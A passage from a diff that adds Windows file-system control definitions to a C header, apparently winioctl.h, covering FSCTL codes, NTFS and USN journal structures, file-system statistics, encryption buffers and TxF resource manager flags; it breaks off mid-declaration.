FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter +#define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors +#endif /* _WIN32_WINNT >= 0x0601 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif + +// Values 130 - 130 are available +// Values 131 - 139 are reserved for FSRM. + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO +#define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE +#define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION +#define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION + +#define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST +#define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE + +#define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // +#define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#endif /* _WIN32_WINNT >= 0x0601 */ + +#define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED + + +#if(_WIN32_WINNT >= 0x0601) + +typedef struct _CSV_NAMESPACE_INFO { + + ULONG Version; + ULONG DeviceNumber; + LARGE_INTEGER StartingOffset; + ULONG SectorSize; + +} CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; + +#define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) +#define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF + +#endif /* _WIN32_WINNT >= 0x0601 */ + +typedef struct _PATHNAME_BUFFER { + + ULONG PathNameLength; + WCHAR Name[1]; + +} PATHNAME_BUFFER, *PPATHNAME_BUFFER; + +typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { + + UCHAR First0x24BytesOfBootSector[0x24]; + +} FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER; + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER VolumeSerialNumber; + LARGE_INTEGER NumberSectors; + LARGE_INTEGER TotalClusters; + LARGE_INTEGER FreeClusters; + LARGE_INTEGER TotalReserved; + ULONG BytesPerSector; + ULONG BytesPerCluster; + ULONG BytesPerFileRecordSegment; + ULONG ClustersPerFileRecordSegment; + LARGE_INTEGER MftValidDataLength; + LARGE_INTEGER MftStartLcn; + LARGE_INTEGER Mft2StartLcn; + LARGE_INTEGER MftZoneStart; + LARGE_INTEGER MftZoneEnd; + +} NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER; + +typedef struct { + + ULONG ByteCount; + + USHORT MajorVersion; + USHORT MinorVersion; + +} NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingLcn; + +} STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER StartingLcn; + LARGE_INTEGER BitmapSize; + UCHAR Buffer[1]; + +} VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER StartingVcn; + +} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER; + +typedef struct RETRIEVAL_POINTERS_BUFFER { + + ULONG ExtentCount; + LARGE_INTEGER StartingVcn; + struct { + LARGE_INTEGER NextVcn; + LARGE_INTEGER Lcn; + } Extents[1]; + +} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + +} NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER; + +typedef struct { + + LARGE_INTEGER FileReferenceNumber; + ULONG FileRecordLength; + UCHAR FileRecordBuffer[1]; + +} NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER; +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0400) + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA, *PMOVE_FILE_DATA; + +typedef struct { + + HANDLE FileHandle; + LARGE_INTEGER SourceFileRecord; + LARGE_INTEGER TargetFileRecord; + +} MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA; + + +#if defined(_WIN64) + +typedef struct _MOVE_FILE_DATA32 { + + UINT32 FileHandle; + LARGE_INTEGER StartingVcn; + LARGE_INTEGER StartingLcn; + ULONG ClusterCount; + +} MOVE_FILE_DATA32, *PMOVE_FILE_DATA32; +#endif +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + ULONG Restart; + SID Sid; +} FIND_BY_SID_DATA, *PFIND_BY_SID_DATA; + +typedef struct { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT; + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct { + + ULONGLONG StartFileReferenceNumber; + USN LowUsn; + USN HighUsn; + +} MFT_ENUM_DATA, *PMFT_ENUM_DATA; + +typedef struct { + + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA; + +typedef struct { + + USN StartUsn; + ULONG ReasonMask; + ULONG ReturnOnlyOnClose; + ULONGLONG Timeout; + ULONGLONG BytesToWaitFor; + ULONGLONG UsnJournalID; + +} READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA; + +typedef struct { + + ULONG RecordLength; + USHORT MajorVersion; + USHORT MinorVersion; + ULONGLONG FileReferenceNumber; + ULONGLONG ParentFileReferenceNumber; + USN Usn; + LARGE_INTEGER TimeStamp; + ULONG Reason; + ULONG SourceInfo; + ULONG SecurityId; + ULONG FileAttributes; + USHORT FileNameLength; + USHORT FileNameOffset; + WCHAR FileName[1]; + +} USN_RECORD, *PUSN_RECORD; + +#define USN_PAGE_SIZE (0x1000) + +#define USN_REASON_DATA_OVERWRITE (0x00000001) +#define USN_REASON_DATA_EXTEND (0x00000002) +#define USN_REASON_DATA_TRUNCATION (0x00000004) +#define USN_REASON_NAMED_DATA_OVERWRITE (0x00000010) +#define USN_REASON_NAMED_DATA_EXTEND (0x00000020) +#define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040) +#define USN_REASON_FILE_CREATE (0x00000100) +#define USN_REASON_FILE_DELETE (0x00000200) +#define USN_REASON_EA_CHANGE (0x00000400) +#define USN_REASON_SECURITY_CHANGE (0x00000800) +#define USN_REASON_RENAME_OLD_NAME (0x00001000) +#define USN_REASON_RENAME_NEW_NAME (0x00002000) +#define USN_REASON_INDEXABLE_CHANGE (0x00004000) +#define USN_REASON_BASIC_INFO_CHANGE (0x00008000) +#define USN_REASON_HARD_LINK_CHANGE (0x00010000) +#define USN_REASON_COMPRESSION_CHANGE (0x00020000) +#define USN_REASON_ENCRYPTION_CHANGE (0x00040000) +#define USN_REASON_OBJECT_ID_CHANGE (0x00080000) +#define USN_REASON_REPARSE_POINT_CHANGE (0x00100000) +#define USN_REASON_STREAM_CHANGE (0x00200000) +#define USN_REASON_TRANSACTED_CHANGE (0x00400000) +#define USN_REASON_CLOSE (0x80000000) + +typedef struct { + + ULONGLONG UsnJournalID; + USN FirstUsn; + USN NextUsn; + USN LowestValidUsn; + USN MaxUsn; + ULONGLONG MaximumSize; + ULONGLONG AllocationDelta; + +} USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA; + +typedef struct { + + ULONGLONG UsnJournalID; + ULONG DeleteFlags; + +} DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA; + +#define USN_DELETE_FLAG_DELETE (0x00000001) +#define USN_DELETE_FLAG_NOTIFY (0x00000002) + +#define USN_DELETE_VALID_FLAGS (0x00000003) + +typedef struct { + + ULONG UsnSourceInfo; + HANDLE VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO, *PMARK_HANDLE_INFO; + +#if defined(_WIN64) + +typedef struct { + + ULONG UsnSourceInfo; + UINT32 VolumeHandle; + ULONG HandleInfo; + +} MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32; +#endif + +#define USN_SOURCE_DATA_MANAGEMENT (0x00000001) +#define USN_SOURCE_AUXILIARY_DATA (0x00000002) +#define USN_SOURCE_REPLICATION_MANAGEMENT (0x00000004) + +#define MARK_HANDLE_PROTECT_CLUSTERS (0x00000001) +#define MARK_HANDLE_TXF_SYSTEM_LOG (0x00000004) +#define MARK_HANDLE_NOT_TXF_SYSTEM_LOG (0x00000008) + +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0601) + +#define MARK_HANDLE_REALTIME (0x00000020) +#define MARK_HANDLE_NOT_REALTIME (0x00000040) + +#define NO_8DOT3_NAME_PRESENT (0x00000001) +#define REMOVED_8DOT3_NAME (0x00000002) + +#define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED (0x00000001) + +#endif /* _WIN32_WINNT >= 0x0601 */ + + +#if (_WIN32_WINNT >= 0x0500) +typedef struct { + + ACCESS_MASK DesiredAccess; + ULONG SecurityIds[1]; + +} BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +#define VOLUME_IS_DIRTY (0x00000001) +#define VOLUME_UPGRADE_SCHEDULED (0x00000002) +#define VOLUME_SESSION_OPEN (0x00000004) +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_PREFETCH { + ULONG Type; + ULONG Count; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH, *PFILE_PREFETCH; + +typedef struct _FILE_PREFETCH_EX { + ULONG Type; + ULONG Count; + PVOID Context; + ULONGLONG Prefetch[1]; +} FILE_PREFETCH_EX, *PFILE_PREFETCH_EX; + +#define FILE_PREFETCH_TYPE_FOR_CREATE 0x1 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM 0x2 +#define FILE_PREFETCH_TYPE_FOR_CREATE_EX 0x3 +#define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX 0x4 + +#define FILE_PREFETCH_TYPE_MAX 0x4 + +#endif /* _WIN32_WINNT >= 0x0500 */ + +typedef struct _FILESYSTEM_STATISTICS { + + USHORT FileSystemType; + USHORT Version; // currently version 1 + + ULONG SizeOfCompleteStructure; // must by a mutiple of 64 bytes + + ULONG UserFileReads; + ULONG UserFileReadBytes; + ULONG UserDiskReads; + ULONG UserFileWrites; + ULONG UserFileWriteBytes; + ULONG UserDiskWrites; + + ULONG MetaDataReads; + ULONG MetaDataReadBytes; + ULONG MetaDataDiskReads; + ULONG MetaDataWrites; + ULONG MetaDataWriteBytes; + ULONG MetaDataDiskWrites; +} FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS; + +// values for FS_STATISTICS.FileSystemType + +#define FILESYSTEM_STATISTICS_TYPE_NTFS 1 +#define FILESYSTEM_STATISTICS_TYPE_FAT 2 +#define FILESYSTEM_STATISTICS_TYPE_EXFAT 3 +typedef struct _FAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} FAT_STATISTICS, *PFAT_STATISTICS; + +typedef struct _EXFAT_STATISTICS { + ULONG CreateHits; + ULONG SuccessfulCreates; + ULONG FailedCreates; + + ULONG NonCachedReads; + ULONG NonCachedReadBytes; + ULONG NonCachedWrites; + ULONG NonCachedWriteBytes; + + ULONG NonCachedDiskReads; + ULONG NonCachedDiskWrites; +} EXFAT_STATISTICS, *PEXFAT_STATISTICS; + +typedef struct _NTFS_STATISTICS { + + ULONG LogFileFullExceptions; + ULONG OtherExceptions; + + ULONG MftReads; + ULONG MftReadBytes; + ULONG MftWrites; + ULONG MftWriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftWritesUserLevel; + + USHORT MftWritesFlushForLogFileFull; + USHORT MftWritesLazyWriter; + USHORT MftWritesUserRequest; + + ULONG Mft2Writes; + ULONG Mft2WriteBytes; + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } Mft2WritesUserLevel; + + USHORT Mft2WritesFlushForLogFileFull; + USHORT Mft2WritesLazyWriter; + USHORT Mft2WritesUserRequest; + + ULONG RootIndexReads; + ULONG RootIndexReadBytes; + ULONG RootIndexWrites; + ULONG RootIndexWriteBytes; + + ULONG BitmapReads; + ULONG BitmapReadBytes; + ULONG BitmapWrites; + ULONG BitmapWriteBytes; + + USHORT BitmapWritesFlushForLogFileFull; + USHORT BitmapWritesLazyWriter; + USHORT BitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + } BitmapWritesUserLevel; + + ULONG MftBitmapReads; + ULONG MftBitmapReadBytes; + ULONG MftBitmapWrites; + ULONG MftBitmapWriteBytes; + + USHORT MftBitmapWritesFlushForLogFileFull; + USHORT MftBitmapWritesLazyWriter; + USHORT MftBitmapWritesUserRequest; + + struct { + USHORT Write; + USHORT Create; + USHORT SetInfo; + USHORT Flush; + } MftBitmapWritesUserLevel; + + ULONG UserIndexReads; + ULONG UserIndexReadBytes; + ULONG UserIndexWrites; + ULONG UserIndexWriteBytes; + ULONG LogFileReads; + ULONG LogFileReadBytes; + ULONG LogFileWrites; + ULONG LogFileWriteBytes; + + struct { + ULONG Calls; // number of individual calls to allocate clusters + ULONG Clusters; // number of clusters allocated + ULONG Hints; // number of times a hint was specified + + ULONG RunsReturned; // number of runs used to satisify all the requests + + ULONG HintsHonored; // number of times the hint was useful + ULONG HintsClusters; // number of clusters allocated via the hint + ULONG Cache; // number of times the cache was useful other than the hint + ULONG CacheClusters; // number of clusters allocated via the cache other than the hint + ULONG CacheMiss; // number of times the cache wasn't useful + ULONG CacheMissClusters; // number of clusters allocated without the cache + } Allocate; + +} NTFS_STATISTICS, *PNTFS_STATISTICS; + +#if (_WIN32_WINNT >= 0x0500) + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _FILE_OBJECTID_BUFFER { + + UCHAR ObjectId[16]; + + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } DUMMYSTRUCTNAME; + UCHAR ExtendedInfo[48]; + } DUMMYUNIONNAME; + +} FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_SET_SPARSE_BUFFER { + BOOLEAN SetSparse; +} FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER; + + +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ZERO_DATA_INFORMATION { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER BeyondFinalZero; + +} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _FILE_ALLOCATED_RANGE_BUFFER { + + LARGE_INTEGER FileOffset; + LARGE_INTEGER Length; + +} FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _ENCRYPTION_BUFFER { + + ULONG EncryptionOperation; + UCHAR Private[1]; + +} ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER; + +#define FILE_SET_ENCRYPTION 0x00000001 +#define FILE_CLEAR_ENCRYPTION 0x00000002 +#define STREAM_SET_ENCRYPTION 0x00000003 +#define STREAM_CLEAR_ENCRYPTION 0x00000004 + +#define MAXIMUM_ENCRYPTION_VALUE 0x00000004 + +typedef struct _DECRYPTION_STATUS_BUFFER { + + BOOLEAN NoEncryptedStreams; + +} DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER; + +#define ENCRYPTION_FORMAT_DEFAULT (0x01) + +#define COMPRESSION_FORMAT_SPARSE (0x4000) + +typedef struct _REQUEST_RAW_ENCRYPTED_DATA { + + LONGLONG FileOffset; + ULONG Length; + +} REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA; + +typedef struct _ENCRYPTED_DATA_INFO { + + ULONGLONG StartingFileOffset; + + ULONG OutputBufferOffset; + + ULONG BytesWithinFileSize; + + ULONG BytesWithinValidDataLength; + + USHORT CompressionFormat; + + UCHAR DataUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + + UCHAR EncryptionFormat; + + USHORT NumberOfDataBlocks; + + ULONG DataBlockSize[ANYSIZE_ARRAY]; + +} ENCRYPTED_DATA_INFO; +typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO; +#endif /* _WIN32_WINNT >= 0x0500 */ + + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _PLEX_READ_DATA_REQUEST { + + LARGE_INTEGER ByteOffset; + ULONG ByteLength; + ULONG PlexNumber; + +} PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST; +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0500) + +typedef struct _SI_COPYFILE { + ULONG SourceFileNameLength; + ULONG DestinationFileNameLength; + ULONG Flags; + WCHAR FileNameBuffer[1]; +} SI_COPYFILE, *PSI_COPYFILE; + +#define COPYFILE_SIS_LINK 0x0001 // Copy only if source is SIS +#define COPYFILE_SIS_REPLACE 0x0002 // Replace destination if it exists, otherwise don't. +#define COPYFILE_SIS_FLAGS 0x0003 +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) + +typedef struct _FILE_MAKE_COMPATIBLE_BUFFER { + BOOLEAN CloseDisc; +} FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER; + + +typedef struct _FILE_SET_DEFECT_MGMT_BUFFER { + BOOLEAN Disable; +} FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER; + + +typedef struct _FILE_QUERY_SPARING_BUFFER { + ULONG SparingUnitBytes; + BOOLEAN SoftwareSparing; + ULONG TotalSpareBlocks; + ULONG FreeSpareBlocks; +} FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER; + + +typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER { + LARGE_INTEGER DirectoryCount; // -1 = unknown + LARGE_INTEGER FileCount; // -1 = unknown + USHORT FsFormatMajVersion; // -1 = unknown or n/a + USHORT FsFormatMinVersion; // -1 = unknown or n/a + WCHAR FsFormatName[ 12]; + LARGE_INTEGER FormatTime; + LARGE_INTEGER LastUpdateTime; + WCHAR CopyrightInfo[ 34]; + WCHAR AbstractInfo[ 34]; + WCHAR FormattingImplementationInfo[ 34]; + WCHAR LastModifyingImplementationInfo[ 34]; +} FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER; + + +#define SET_REPAIR_ENABLED (0x00000001) +#define SET_REPAIR_VOLUME_BITMAP_SCAN (0x00000002) +#define SET_REPAIR_DELETE_CROSSLINK (0x00000004) +#define SET_REPAIR_WARN_ABOUT_DATA_LOSS (0x00000008) +#define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT (0x00000010) +#define SET_REPAIR_VALID_MASK (0x0000001F) + +typedef enum _SHRINK_VOLUME_REQUEST_TYPES +{ + ShrinkPrepare = 1, + ShrinkCommit, + ShrinkAbort + +} SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES; + +typedef struct _SHRINK_VOLUME_INFORMATION +{ + SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType; + ULONGLONG Flags; + LONGLONG NewNumberOfSectors; + +} SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION; + +#define TXFS_RM_FLAG_LOGGING_MODE 0x00000001 +#define TXFS_RM_FLAG_RENAME_RM 0x00000002 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX 0x00000004 +#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN 0x00000008 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS 0x00000010 +#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT 0x00000020 +#define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE 0x00000040 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX 0x00000080 +#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN 0x00000100 +#define TXFS_RM_FLAG_GROW_LOG 0x00000400 +#define TXFS_RM_FLAG_SHRINK_LOG 0x00000800 +#define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE 0x00001000 +#define TXFS_RM_FLAG_PRESERVE_CHANGES 0x00002000 +#define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START 0x00004000 +#define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START 0x00008000 +#define TXFS_RM_FLAG_PREFER_CONSISTENCY 0x00010000 +#define TXFS_RM_FLAG_PREFER_AVAILABILITY 0x00020000 + +#define TXFS_LOGGING_MODE_SIMPLE (0x0001) +#define TXFS_LOGGING_MODE_FULL (0x0002) + +#define TXFS_TRANSACTION_STATE_NONE 0x00 +#define TXFS_TRANSACTION_STATE_ACTIVE 0x01 +#define TXFS_TRANSACTION_STATE_PREPARED 0x02 +#define TXFS_TRANSACTION_STATE_NOTACTIVE 0x03 + +#define TXFS_MODIFY_RM_VALID_FLAGS \ + (TXFS_RM_FLAG_LOGGING_MODE | \ + TXFS_RM_FLAG_RENAME_RM | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_SHRINK_LOG | \ + TXFS_RM_FLAG_GROW_LOG | \ + TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE | \ + TXFS_RM_FLAG_PRESERVE_CHANGES | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_MODIFY_RM { + + // + // TXFS_RM_FLAG_* flags + // + + ULONG Flags; + + // + // Maximum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX is set. + // + + ULONG LogContainerCountMax; + + // + // Minimum log container count if TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN is set. + // + + ULONG LogContainerCountMin; + + // + // Target log container count for TXFS_RM_FLAG_SHRINK_LOG or _GROW_LOG. + // + + ULONG LogContainerCount; + + // + // When the log is full, increase its size by this much. Indicated as either a percent of + // the log size or absolute container count, depending on which of the TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_* + // flags is set. + // + + ULONG LogGrowthIncrement; + + // + // Sets autoshrink policy if TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE is set. Autoshrink + // makes the log shrink so that no more than this percentage of the log is free at any time. + // + + ULONG LogAutoShrinkPercentage; + + // + // Reserved. + // + + ULONGLONG Reserved; + + // + // If TXFS_RM_FLAG_LOGGING_MODE is set, this must contain one of TXFS_LOGGING_MODE_SIMPLE + // or TXFS_LOGGING_MODE_FULL. + // + + USHORT LoggingMode; + +} TXFS_MODIFY_RM, + *PTXFS_MODIFY_RM; + +#define TXFS_RM_STATE_NOT_STARTED 0 +#define TXFS_RM_STATE_STARTING 1 +#define TXFS_RM_STATE_ACTIVE 2 +#define TXFS_RM_STATE_SHUTTING_DOWN 3 + +#define TXFS_QUERY_RM_INFORMATION_VALID_FLAGS \ + (TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS | \ + TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX | \ + TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN | \ + TXFS_RM_FLAG_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START | \ + TXFS_RM_FLAG_PREFER_CONSISTENCY | \ + TXFS_RM_FLAG_PREFER_AVAILABILITY) + +typedef struct _TXFS_QUERY_RM_INFORMATION { + + ULONG BytesRequired; + + ULONGLONG TailLsn; + ULONGLONG CurrentLsn; + ULONGLONG ArchiveTailLsn; + ULONGLONG LogContainerSize; + LARGE_INTEGER HighestVirtualClock; + ULONG LogContainerCount; + ULONG LogContainerCountMax; + ULONG LogContainerCountMin; + ULONG LogGrowthIncrement; + ULONG LogAutoShrinkPercentage; + ULONG Flags; + + // + // Exactly one of TXFS_LOGGING_MODE_SIMPLE or TXFS_LOGGING_MODE_FULL. + // + + USHORT 